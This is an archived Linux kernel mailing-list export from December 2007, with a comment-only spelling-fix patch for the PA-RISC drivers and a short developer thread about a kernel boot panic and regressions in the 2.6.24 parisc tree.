	Grant Grundler <grundler@parisc-linux.org>,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>, linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 17 20:42:22 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J4LqS-0003RU-6E
	for glpp-linux-parisc@gmane.org; Mon, 17 Dec 2007 20:41:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933855AbXLQTky (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Dec 2007 14:40:54 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S933812AbXLQTkx
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 17 Dec 2007 14:40:53 -0500
Original-Received: from DSL022.labridge.com ([206.117.136.22]:3174 "EHLO perches.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1762921AbXLQTkw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Dec 2007 14:40:52 -0500
Original-Received: from localhost.localdomain (192-168-1-128.LABridge.com [192.168.1.128] (may be forged))
	by perches.com (8.9.3/8.9.3) with ESMTP id KAA00526;
	Mon, 17 Dec 2007 10:52:36 -0800
X-Mailer: git-send-email 1.5.3.7.949.g2221a6
Original-Message-Id: <5703e57f925f31fc0eb38873bd7f10fc44f99cb4.1197918892.git.joe@perches.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:20 gmane.linux.kernel:615047


Signed-off-by: Joe Perches <joe@perches.com>
---
 drivers/parisc/ccio-dma.c |    4 ++--
 drivers/parisc/hppb.c     |    2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index 7c60cbd..ca52307 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -363,7 +363,7 @@ ccio_alloc_range(struct ioc *ioc, size_t size)
 	if (pages_needed <= 8) {
 		/*
 		 * LAN traffic will not thrash the TLB IFF the same NIC
-		 * uses 8 adjacent pages to map seperate payload data.
+		 * uses 8 adjacent pages to map separate payload data.
 		 * ie the same byte in the resource bit map.
 		 */
 #if 0
@@ -1589,7 +1589,7 @@ static int __init ccio_probe(struct parisc_device *dev)
 }
 
 /**
- * ccio_init - ccio initalization procedure.
+ * ccio_init - ccio initialization procedure.
  *
  * Register this driver.
  */
diff --git a/drivers/parisc/hppb.c b/drivers/parisc/hppb.c
index a728a7c..65eee67 100644
--- a/drivers/parisc/hppb.c
+++ b/drivers/parisc/hppb.c
@@ -95,7 +95,7 @@ static struct parisc_driver hppb_driver = {
 };
 
 /**
- * hppb_init - HP-PB bus initalization procedure.
+ * hppb_init - HP-PB bus initialization procedure.
  *
  * Register this driver.   
  */
-- 
1.5.3.7.949.g2221a6

-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joe Perches <joe@perches.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH] drivers/parisc/: Spelling fixes
Date: Mon, 17 Dec 2007 11:40:10 -0800
Lines: 51
Approved: news@gmane.org
Message-ID: <5703e57f925f31fc0eb38873bd7f10fc44f99cb4.1197918892.git.joe__29710.4273377501$1197921357$gmane$org@perches.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1197921339 22980 80.91.229.12 (17 Dec 2007 19:55:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 17 Dec 2007 19:55:39 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	Grant Grundler <grundler@parisc-linux.org>,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>, linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S936043AbXLQTxe@vger.kernel.org Mon Dec 17 20:55:49 2007
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S936043AbXLQTxe@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J4M2a-0001cR-Rd
	for glk-linux-kernel-3@gmane.org; Mon, 17 Dec 2007 20:54:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S936043AbXLQTxe (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 17 Dec 2007 14:53:34 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S933776AbXLQTkx
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Mon, 17 Dec 2007 14:40:53 -0500
Original-Received: from DSL022.labridge.com ([206.117.136.22]:3174 "EHLO perches.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1762921AbXLQTkw (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Mon, 17 Dec 2007 14:40:52 -0500
Original-Received: from localhost.localdomain (192-168-1-128.LABridge.com [192.168.1.128] (may be forged))
	by perches.com (8.9.3/8.9.3) with ESMTP id KAA00526;
	Mon, 17 Dec 2007 10:52:36 -0800
X-Mailer: git-send-email 1.5.3.7.949.g2221a6
Original-Message-Id: <5703e57f925f31fc0eb38873bd7f10fc44f99cb4.1197918892.git.joe@perches.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:615104 gmane.linux.ports.parisc:21
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/21>


Signed-off-by: Joe Perches <joe@perches.com>
---
 drivers/parisc/ccio-dma.c |    4 ++--
 drivers/parisc/hppb.c     |    2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index 7c60cbd..ca52307 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -363,7 +363,7 @@ ccio_alloc_range(struct ioc *ioc, size_t size)
 	if (pages_needed <= 8) {
 		/*
 		 * LAN traffic will not thrash the TLB IFF the same NIC
-		 * uses 8 adjacent pages to map seperate payload data.
+		 * uses 8 adjacent pages to map separate payload data.
 		 * ie the same byte in the resource bit map.
 		 */
 #if 0
@@ -1589,7 +1589,7 @@ static int __init ccio_probe(struct parisc_device *dev)
 }
 
 /**
- * ccio_init - ccio initalization procedure.
+ * ccio_init - ccio initialization procedure.
  *
  * Register this driver.
  */
diff --git a/drivers/parisc/hppb.c b/drivers/parisc/hppb.c
index a728a7c..65eee67 100644
--- a/drivers/parisc/hppb.c
+++ b/drivers/parisc/hppb.c
@@ -95,7 +95,7 @@ static struct parisc_driver hppb_driver = {
 };
 
 /**
- * hppb_init - HP-PB bus initalization procedure.
+ * hppb_init - HP-PB bus initialization procedure.
  *
  * Register this driver.   
  */
-- 
1.5.3.7.949.g2221a6

--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html
Please read the FAQ at  http://www.tux.org/lkml/


From - Thu Nov 08 21:01:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [git patches] parisc fixes for 2.6.24
Date: Mon, 17 Dec 2007 18:53:48 -0500 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <200712172353.lBHNrnWf001417@hiauly1.hia.nrc.ca>
References: <20071216183215.GB8558@fattire.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1197935666 8770 80.91.229.12 (17 Dec 2007 23:54:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 17 Dec 2007 23:54:26 +0000 (UTC)
Cc: kyle@hera.kernel.org, linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 18 00:54:39 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J4PnB-0006rA-Aq
	for glpp-linux-parisc@gmane.org; Tue, 18 Dec 2007 00:54:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S965004AbXLQXyM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Dec 2007 18:54:12 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S965001AbXLQXyL
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 17 Dec 2007 18:54:11 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3904 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S964811AbXLQXyJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Dec 2007 18:54:09 -0500
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1) with ESMTP id lBHNrnfY001418;
	Mon, 17 Dec 2007 18:53:55 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1/Submit) id lBHNrnWf001417;
	Mon, 17 Dec 2007 18:53:49 -0500 (EST)
In-Reply-To: <20071216183215.GB8558@fattire.cabal.ca> from "Kyle McMartin" at Dec 16, 2007 01:32:15 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:22
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/22>

> On Sun, Dec 16, 2007 at 01:29:38PM -0500, John David Anglin wrote:
> > I built a SMP PA8800 configuration from this respository yesterday.
> > Aside from the timeout issue that I've mentioned before, I've experienced
> > erratic login behavior with this new kernel.  I see this in the debug log:
> > 
> 
> is this using debian sid? or testing? possibly during the update to
> glibc 2.7 a regression crept in?

Haven't seen any issues after deleting nscd.  However, I built a
kernel defaulted from the 2.6.22 .config on gsyprf11 yesterday.  This
one panics during boot.  It's in /boot/vmlinux-2.6.24-rc4.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [git patches] parisc fixes for 2.6.24
Date: Mon, 17 Dec 2007 18:59:22 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <20071217235922.GA16467@fattire.cabal.ca>
References: <20071216183215.GB8558@fattire.cabal.ca> <200712172353.lBHNrnWf001417@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1197935982 9623 80.91.229.12 (17 Dec 2007 23:59:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 17 Dec 2007 23:59:42 +0000 (UTC)
Cc: kyle@hera.kernel.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 18 00:59:53 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J4Ps8-00085l-FQ
	for glpp-linux-parisc@gmane.org; Tue, 18 Dec 2007 00:59:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756039AbXLQX7Z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Dec 2007 18:59:25 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1760161AbXLQX7Z
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 17 Dec 2007 18:59:25 -0500
Original-Received: from there.is.no.cabal.ca ([134.117.69.58]:46505 "EHLO
	fattire.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756039AbXLQX7Y (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Dec 2007 18:59:24 -0500
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 2CAE823E08; Mon, 17 Dec 2007 18:59:23 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <200712172353.lBHNrnWf001417@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:23
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/23>

On Mon, Dec 17, 2007 at 06:53:48PM -0500, John David Anglin wrote:
> > On Sun, Dec 16, 2007 at 01:29:38PM -0500, John David Anglin wrote:
> > > I built a SMP PA8800 configuration from this respository yesterday.
> > > Aside from the timeout issue that I've mentioned before, I've experienced
> > > erratic login behavior with this new kernel.  I see this in the debug log:
> > > 
> > 
> > is this using debian sid? or testing? possibly during the update to
> > glibc 2.7 a regression crept in?
> 
> Haven't seen any issues after deleting nscd.  However, I built a
> kernel defaulted from the 2.6.22 .config on gsyprf11 yesterday.  This
> one panics during boot.  It's in /boot/vmlinux-2.6.24-rc4.
> 

you need -rc5, iirc i put some changes i nthere too.
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [git patches] parisc fixes for 2.6.24
Date: Mon, 17 Dec 2007 23:20:15 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <200712180420.lBI4KG3j007881@hiauly1.hia.nrc.ca>
References: <20071217235922.GA16467@fattire.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1197951646 13480 80.91.229.12 (18 Dec 2007 04:20:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 18 Dec 2007 04:20:46 +0000 (UTC)
Cc: kyle@hera.kernel.org, linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 18 05:20:58 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J4Twv-00048W-Ck
	for glpp-linux-parisc@gmane.org; Tue, 18 Dec 2007 05:20:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752336AbXLREUh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 17 Dec 2007 23:20:37 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753004AbXLREUh
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 17 Dec 2007 23:20:37 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3912 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751641AbXLREUg (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 17 Dec 2007 23:20:36 -0500
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1) with ESMTP id lBI4KGQn007883;
	Mon, 17 Dec 2007 23:20:22 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1/Submit) id lBI4KG3j007881;
	Mon, 17 Dec 2007 23:20:16 -0500 (EST)
In-Reply-To: <20071217235922.GA16467@fattire.cabal.ca> from "Kyle McMartin" at Dec 17, 2007 06:59:22 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:24
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/24>

> you need -rc5, iirc i put some changes i nthere too.

This was with kyle/parisc-2.6.git which last changed 11 days ago.  Does
the linux rc5 tree now have all the changes from your branch?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [git patches] parisc fixes for 2.6.24
Date: Tue, 18 Dec 2007 00:21:12 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <20071218052112.GB16467@fattire.cabal.ca>
References: <20071217235922.GA16467@fattire.cabal.ca> <200712180420.lBI4KG3j007881@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1197955284 20788 80.91.229.12 (18 Dec 2007 05:21:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 18 Dec 2007 05:21:24 +0000 (UTC)
Cc: kyle@hera.kernel.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 18 06:21:35 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J4Uta-0000cx-Lh
	for glpp-linux-parisc@gmane.org; Tue, 18 Dec 2007 06:21:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755159AbXLRFVP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 18 Dec 2007 00:21:15 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755500AbXLRFVP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 18 Dec 2007 00:21:15 -0500
Original-Received: from there.is.no.cabal.ca ([134.117.69.58]:37501 "EHLO
	fattire.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755159AbXLRFVO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 18 Dec 2007 00:21:14 -0500
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 1DA1C23E06; Tue, 18 Dec 2007 00:21:13 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <200712180420.lBI4KG3j007881@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25>

On Mon, Dec 17, 2007 at 11:20:15PM -0500, John David Anglin wrote:
> > you need -rc5, iirc i put some changes i nthere too.
> 
> This was with kyle/parisc-2.6.git which last changed 11 days ago.  Does
> the linux rc5 tree now have all the changes from your branch?
> 

yeah, sorry, linus isn't terribly good at replying to pull requests. :)
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [git patches] parisc fixes for 2.6.24
Date: Tue, 18 Dec 2007 00:22:50 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <20071218052250.GC16467@fattire.cabal.ca>
References: <20071217235922.GA16467@fattire.cabal.ca> <200712180420.lBI4KG3j007881@hiauly1.hia.nrc.ca> <20071218052112.GB16467@fattire.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1197955382 20974 80.91.229.12 (18 Dec 2007 05:23:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 18 Dec 2007 05:23:02 +0000 (UTC)
Cc: kyle@hera.kernel.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 18 06:23:13 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J4Uv9-0000ut-OY
	for glpp-linux-parisc@gmane.org; Tue, 18 Dec 2007 06:23:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752854AbXLRFWw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 18 Dec 2007 00:22:52 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752886AbXLRFWw
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 18 Dec 2007 00:22:52 -0500
Original-Received: from there.is.no.cabal.ca ([134.117.69.58]:37507 "EHLO
	fattire.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752854AbXLRFWv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 18 Dec 2007 00:22:51 -0500
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id DE5C223E06; Tue, 18 Dec 2007 00:22:50 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20071218052112.GB16467@fattire.cabal.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26>

On Tue, Dec 18, 2007 at 12:21:12AM -0500, Kyle McMartin wrote:
> On Mon, Dec 17, 2007 at 11:20:15PM -0500, John David Anglin wrote:
> > > you need -rc5, iirc i put some changes i nthere too.
> > 
> > This was with kyle/parisc-2.6.git which last changed 11 days ago.  Does
> > the linux rc5 tree now have all the changes from your branch?
> > 
> 
> yeah, sorry, linus isn't terribly good at replying to pull requests. :)
> 

huh. sorry, i'll put my dunce cap on. there must be further regressions.
:/

i'll muck about tomorrow evening.

cheers,
	kyle
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [git patches] parisc fixes for 2.6.24
Date: Tue, 18 Dec 2007 00:27:50 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <20071218052750.GD16467@fattire.cabal.ca>
References: <20071216183215.GB8558@fattire.cabal.ca> <200712172353.lBHNrnWf001417@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1197955694 21567 80.91.229.12 (18 Dec 2007 05:28:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 18 Dec 2007 05:28:14 +0000 (UTC)
Cc: kyle@hera.kernel.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 18 06:28:13 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J4V00-0000ut-0h
	for glpp-linux-parisc@gmane.org; Tue, 18 Dec 2007 06:28:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751702AbXLRF1w (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 18 Dec 2007 00:27:52 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751560AbXLRF1w
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 18 Dec 2007 00:27:52 -0500
Original-Received: from there.is.no.cabal.ca ([134.117.69.58]:42616 "EHLO
	fattire.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751327AbXLRF1w (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 18 Dec 2007 00:27:52 -0500
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 388B323E06; Tue, 18 Dec 2007 00:27:51 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <200712172353.lBHNrnWf001417@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27>

On Mon, Dec 17, 2007 at 06:53:48PM -0500, John David Anglin wrote:
> > On Sun, Dec 16, 2007 at 01:29:38PM -0500, John David Anglin wrote:
> > > I built a SMP PA8800 configuration from this respository yesterday.
> > > Aside from the timeout issue that I've mentioned before, I've experienced
> > > erratic login behavior with this new kernel.  I see this in the debug log:
> > > 
> > 
> > is this using debian sid? or testing? possibly during the update to
> > glibc 2.7 a regression crept in?
> 
> Haven't seen any issues after deleting nscd.  However, I built a
> kernel defaulted from the 2.6.22 .config on gsyprf11 yesterday.  This
> one panics during boot.  It's in /boot/vmlinux-2.6.24-rc4.
>

sigh, i bet this is 84f4506cb788d85a50c97b399f2999f90e6272b0[1]

does gsyprf11 have a quad port ethernet card installed?

cheers, kyle

1.
http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=84f4506cb788d85a50c97b399f2999f90e6272b0
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
